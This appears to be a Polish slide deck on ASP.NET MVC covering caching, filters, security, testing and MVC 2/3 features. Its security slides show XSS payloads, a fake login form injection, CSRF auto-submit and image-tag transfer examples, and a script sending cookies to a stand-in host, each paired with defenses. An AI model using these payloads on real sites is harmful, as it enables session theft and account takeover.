  • 62. OutputCache • Cache’uje wartośd zwracaną przez akcję • Bazuje na ASP.NET @OutputCache – Właściwości: CacheProfile, Duration, Location, NoStore, SqlDepe ndency, VaryBy* – Brak VaryByControl • Dlaczego nie w widoku? • [OutputCache(Duration=60, VaryByParam=‛none‛)] – A gdybyśmy chcieli bez rekompilacji? • [OutputCache(CacheProfile=‛MyProfile‛)]
  • 63. HandleError [HandleError(ExceptionType = typeof(ArgumentException), View=‛ArgError‛)] public ActionResult GetProduct(string name) { if(name == null) { throw new ArgumentNullException(‚name‛); } return View(); } // ŹLE [HandleError(Order=1, ExceptionType=typeof(Exception)] [HandleError(Order=2, ExceptionType=typeof(ArgumentException), View=‛ArgError‛)] public ActionResult GetProduct(string name) // LEPIEJ [HandleError(Order=1, ExceptionType=typeof(ArgumentException), View=‛ArgError‛) [HandleError(Order=2, ExceptionType=typeof(Exception)] public ActionResult GetProduct(string name)
  • 64. Własny filtr • Np. logowanie, mierzenie czasu, kontrola dostępu • Dziedziczymy po ActionFilterAttribute (lub FilterAttribute) public virtual void OnActionExecuted(ActionExecutedContext filterContext); public virtual void OnActionExecuting(ActionExecutingContext filterContext); public virtual void OnResultExecuted(ResultExecutedContext filterContext); public virtual void OnResultExecuting(ResultExecutingContext filterContext); • Implementujemy interfejs: – IActionFilter – IResultFilter – IAuthorizationFilter* – IExceptionFilter*
  • 65. public class TimerAttribute : ActionFilterAttribute { public TimerAttribute() { // Powinniśmy być ostatnim filtrem – tuż przed akcją this.Order = int.MaxValue; } public override void OnActionExecuting(ActionExecutingContext filterContext) { var controller = filterContext.Controller; if (controller != null) { var stopwatch = new Stopwatch(); controller.ViewData[‚__StopWatch‛] = stopwatch; stopwatch.Start(); } } public override void OnActionExecuted(ActionExecutedContext filterContext) { var controller = filterContext.Controller; if (controller != null) { var stopwatch = (Stopwatch)controller.ViewData[‚__StopWatch‛]; stopwatch.Stop(); controller.ViewData[‚__Duration‛] = stopwatch.Elapsed.TotalMilliseconds; } } // [Timer] // Trwało: <%= ViewData[‚__Duration‛] %>
  • 66. Kolejnośd filtrów 1. Właściwośd Order 2. Najpierw dla klasy 3. Jeśli brak Order – ujemna wartośd 4. Jeśli sam kontroler implementuje np. IActionFilter – w pierwszej kolejności
  • 68. Kilka słów o bezpieczeostwie • Więcej swobody – więcej zagrożeo – Domyślne helpery, WebFormViewEngine wiele robią za nas • XSS - Passive injection Komentarz na blogu (URL autora): <a href=‛Brak strony :<‛>Komentator</a> ‚><iframe src=‛http://zlastrona.com‛ height=‛400‛ width=„500‛ /> ‚></a><script src=‛http://trojan.zlastrona.com‛> </script> <a href=‛
  • 69. XSS – Active Injection // Do SearchBoxa ‚<br><br>Please login with the form below before proceeding:<form action=‛mybadsite.aspx‛><table><tr><td>Login:</td><td><input type=text length=20 name=login></td></tr><tr><td>Password:</td><td><input type=text length=20 name=password></td></tr></table><input type=submit value=LOGIN></form>‛ // Działa? Hmm… <a href=‛http://testasp.acunetix.com/Search.asp?tfSearch= <br><br>Please login with the form below before proceeding:<form action=‛mybadsite.aspx‛><table><tr><td>Login:</td><td><input type=text length=20 name=login></td></tr><tr><td>Password:</td><td><input type=text length=20 name=password></td></tr></table><input type=submit value=LOGIN></form>‛>ZNAJDŹ SWOJE ZDJECIA NAGO</a>
  • 70. XSS - zabezpieczenia • Nigdy nie ufaj danym od użytkownika • Enkoduj wyświetlane i zapisywane dane – Atrybuty – Cała zawartośd <a href=‛<%=Url.Action(‚index‛,‛home‛,new {name=Html.AttributeEncode(ViewData[‚name‛])})%>>Click here</a> <a href=‛<%=Url.Encode(Url.Action(‚index‛,‛home‛,new {name=ViewData[‚name‛]}))%>>Click here</a>
  • 71. Cross-site Request Forgery // Dobra strona, użytkownik stale zalogowany („ZAPAMIĘTAJ MNIE‛) public class UserProfileController : Controller { public ViewResult Edit() { return View(); } public ViewResult SubmitUpdate() { ProfileData profile = GetLoggedInUserProfile(); // Update the user object profile.EmailAddress = Request.Form["email"]; profile.FavoriteHobby = Request.Form["hobby"]; SaveUserProfile(profile); ViewData["message"] = "Your profile was updated."; return View(); } } // Zapraszamy użytkownika e-mailem na naszą stronę <body onload="document.getElementById('fm1').submit()"> <form id="fm1" action="http://dobrastrona.pl/UserProfile/SubmitUpdate" method="post"> <input name="email" value=„email@hackera.pl" /> <input name="hobby" value="Defacing websites" /> </form> </body> // A teraz już tylko „forgoten password‛
  • 72. CSRF inaczej Komentarz pod newsami banku<img src =‛ http://widelyusedbank.com?function=transfer&amount=1000 &toaccountnumber=23234554333&from=checking‛ />.
  • 73. CSRF – jak się uchronid • Nie zmieniamy nic w GET • Specjalny zmienny token (input type=„hidden”), który porównujemy po stronie serwera – [ValidateAntiForgeryToken] – <%= Html.AntiForgeryToken() %> • Sprawdzad Referer – Niektórzy wyłączają – Ryzyko zmiany (niektóre wersje Flash) – Można zrealizowad przy pomocy filtra
  • 74. Filtr - referer public class IsPostedFromThisSiteAttribute : AuthorizeAttribute { public override void OnAuthorize(AuthorizationContext filterContext) { if (filterContext.HttpContext != null) { if (filterContext.HttpContext.Request.UrlReferrer == null) throw new System.Web.HttpException(‚Invalid submission‛); if (filterContext.HttpContext.Request.UrlReferrer.Host != ‚mysite.com‛) throw new System.Web.HttpException (‚This form wasn’t submitted from this site!‛); } } } [IsPostedFromThisSite] public ActionResult Register(…)
  • 75. Kradzież ciastek () • Często tickety uwierzytelniające – StackOverflow.com (beta) • XSS <img src=‛‚http://www.a.com/a.jpg<script type=text/javascript src=‛http://1.2.3.4:81/xss.js‛>‛ /><<img src=‛‚http://www.a.com/a.jpg</script>‛ • Xss.js – transfer ciastek window.location=‛http://1.2.3.4:81/r.php?u=‛ +document.links[1].text +‛&l=‛+document.links[1] +‛&c=‛+document.cookie;
  • 76. Ciastka – jak je zabezpieczyd? • Uchroo się przed XSS – przemyśl dobrze zanim napiszesz własną implementację anti- XSS – http://antixss.codeplex.com • Cookies HTTPOnly Response.Cookies[‚MyCookie‛] .Value=‛Remembering you…‛; Response.Cookies[‚MyCookie].HttpOnly=true;
  • 77. Bezpieczeostwo - inne • Komunikaty o błędach – <compilation debug=„true”> • Zabezpieczanie kontrolerów, nie ścieżki – [Authorize] • Zabezpieczanie publicznych metod – [NonAction] • Uwaga na Model Binders (dalej…)
  • 78. Model Binders // Ryzykowne zwłaszcza, kiedy ktoś zobaczy nasz // kod źródłowy (jakie właściwości ma User) <form action=http://naszastrona.pl/profile/update method=‛post‛> <input type=‛text‛ name=‛First‛ value=‛Darth‛ /> <input type=‛text‛ name=‛Last‛ value=‛Vader‛ /> <input type=‛text‛ name=‛Role‛ value=‛PanIWladca‚ /> </form> // public ActionResult Update(User user) // Model binder automatycznie ustawi Role // Rozwiązanie: whitelist [ValidateAntiforgeryToken] public ActionResult Update([Bind(Include=‛First, Last‛)]User user)
  • 80. TDD i ASP.NET • ASP.NET Web Forms – Trudne do testowania – Wiele elementów zależnych od IIS • ASP.NET MVC – Dużo nacisku na modularną architekturę – Dobra integracja z frameworkami do „mockowania” – Integracja z wybranym frameworkiem do testów – np. nUnit, mbUnit, Xunit, Visual Studio, …
  • 81. Routing – przykładowy test [TestMethod] public void CanMapNormalControllerActionRoute() { //arrange RouteCollection routes = new RouteCollection(); MvcApplication.RegisterRoutes(routes); var httpContextMock = new Mock<HttpContextBase>(); httpContextMock.Expect(c => c.Request .AppRelativeCurrentExecutionFilePath).Returns(‚~/product/list‛); //act RouteData routeData = routes.GetRouteData(httpContextMock.Object); //assert Assert.IsNotNull(routeData, ‚Should have found the route‛); Assert.AreEqual(‚product‛, routeData.Values[‚Controller‛]); Assert.AreEqual(‚list‛, routeData.Values[‚action‛]); Assert.AreEqual(‚‛, routeData.Values[‚id‛]); }
  • 82. Kontroler – przykładowy test public ActionResult Save(string value) { TempData[‚TheValue‛] = value; return RedirectToAction(‚Display‛); } [TestMethod] public void SaveStoresTempDataValueAndRedirectsToFoo() { // Arrange var controller = new HomeController(); // Act var result = controller.Save(‚is 42‛) as RedirectToRouteResult; // Assert Assert.IsNotNull(result, ‚Expected the result to be a redirect‛); Assert.AreEqual(‚is 42‛, controller.TempData[‚TheValue‛]; Assert.AreEqual(‚Display‛, result.Values[‚action‛]); }
  • 83. View Helpers – przykładowy test public static string UnorderedList<T>(this HtmlHelper html, IEnumerable<T> items) [TestMethod] public void UnorderedListWithIntArrayRendersUnorderedListWithNumbers() { var contextMock = new Mock<HttpContextBase>(); var controllerMock = new Mock<IController>(); var cc = new ControllerContext(contextMock.Object, new RouteData(), controllerMock.Object); var viewContext = new ViewContext(cc, ‚n/a‛, ‚n/a‛, new ViewDataDictionary(), new TempDataDictionary()); var vdcMock = new Mock<IViewDataContainer>(); var helper = new HtmlHelper(viewContext, vdcMock.Object); string output = helper.UnorderedList(new int[] {0, 1, 2 }); Assert.AreEqual(‚<ul><li>0</li><li>1</li><li>2</li></ul>‛, output); }
  • 84. Widok – przykładowy test // …nie powinno być co testować – nie spotyka się // często testów
  • 85. CO NOWEGO W ASP.NET MVC 2? (wybrane)
  • 86. Silnie typowane Helpery • Nowe helpery dla silnie typowanych widoków – ValidationMessageFor(o => o.Imie) – TextAreaFor(o => o.Imie) – TextBoxFor(o => o.Opis) – HiddenFor(o => o.Tag) – DropDownListFor(o => o.Zawod) – LabelFor(o => o.Imie) • Kontrola podczas kompilacji • A można jeszcze szybciej <%= Html.EditorFor(o => o) %> <%= Html.DisplayFor(o => o) %> • Szablony – kontrolka ascx (Dynamic Data? ) – Shared/EditorTemplates oraz Shares/DisplayTemplates – Dla typu z modelu (np. Customer) [UIHint(„CountryDropDown”+ <%= Html.EditorFor(c => c.Country, „CountryDropDown”); – Dla typu danych (np. [DataType(DataType.EmailAddress)])
  • 87. Data Annotations public class Pals { [Required()] [Range(33, 99)] public float Height { get; set; } [Required()] [StringLength(7)] public string Name { get; set; } [ScaffoldColumn(false)] public int ID { get; set; } public bool cool { get; set; } [DataType(DataType.EmailAddress)] [RegularExpression(@"^([0-9a-zA-Z]([-.w]*[0-9a-zA-Z])*@([0-9a-zA-Z][- w]*[0-9a-zA-Z].)+[a-zA-Z]{2,9})$")] public string email { get; set; } [DataType(DataType.MultilineText)] public string Bio { get; set; } } // W Post: if (!ModelState.IsValid) …
  • 88. Data Annotations – a może separacja? // Customer.cs - partial // Customer.metadata.cs // tzw. „Buddy class‛ [MetadataType(typeof(CustomerMetaData))] public partial class Customer { class CustomerMetaData { [Required(ErrorMessage="You must supply a name for a customer.")] [StringLength(50, ErrorMessage = "A customer name cannot exceed 50 characters.")] public string Name { get; set; } } }
  • 89. Custom Validation public class PriceAttribute : ValidationAttribute { public double MinPrice { get; set; } public override bool IsValid(object value) { if (value == null) { return true; } var price = (double)value; if (price < MinPrice) { return false; } double cents = price - Math.Truncate(price); if (cents < 0.99 || cents >= 0.995) { return false; } return true; } } // [Price(MinPrice = 1.99)]
  • 90. Client Validation • Działa zarówno z Microsoft AJAX jak i jQuery • <% Html.EnableClientValidation(); %> – Przed BeginForm() – Kontrolki dodatkowo uzyskują walidację po stronie klienta!
  • 92. Areas public class BlogsAreaRegistration : AreaRegistration { public override string AreaName { get { return "Blogs"; } } public override void RegisterArea(AreaRegistrationContext context) { context.MapRoute( "Blogs_default", "Blogs/{controller}/{action}/{id}", new { action = "Index", id = "" } ); } } // W Application_Start() // AreaRegistration.RegisterAllAreas();
  • 93. Asynchroniczny kontroler (skalowalnośd!) public class PortalController : AsyncController { public void IndexAsync(string city) { AsyncManager.OutstandingOperations.Increment(2); NewsService newsService = new NewsService(); newsService.GetHeadlinesCompleted += (sender, e) => { AsyncManager.Parameters["headlines"] = e.Value; AsyncManager.OutstandingOperations.Decrement(); }; newsService.GetHeadlinesAsync(); WeatherService weatherService = new WeatherService(); weatherService.GetForecastCompleted += (sender, e) => { AsyncManager.Parameters["forecast"] = e.Value; AsyncManager.OutstandingOperations.Decrement(); }; weatherService.GetForecastAsync(); } public ActionResult IndexCompleted(string[] headlines, string[] forecast) { return View("Common", new PortalViewModel { NewsHeadlines = headlines, Weather = forecast }); } }
  • 94. Inne • [HttpPost] – krócej • Wartości domyślne parametrów akcji – public ActionResult Edytuj(string cat, [DefaultValue(1)] int page) { } • <% Html.RenderAction() %> (ViewResult) i <% Html.Action %> – Renderuje wynik akcji – Cały cykl życia „strony” – np. inny model, itp. • Blank project template
  • 95. CO NOWEGO W ASP.NET MVC 3? (wybrane)
  • 96. Widoki • Razor – @* *@ – @model – Layout, _viewstart.cshtml – Html.Raw – Helpery: Chart, WebGrid, Crypto, WebImage, WebMail • Wiele silników widoków – Spark, Nhaml, NDjango
  • 97. Nowości – c.d. • Golbal Action Filters • ViewBag • Nowe ActionResults – HttpNotFoundResult, RedirectResult, HtpStatusC odeResult • AJAX – „unobtrusive” – jQueryValidate
  • 99. • JSON Binding • Nowe adnotacje (np. Compare) • NuGet • Partial-Page Output Caching • Request validation – [AllowHtml]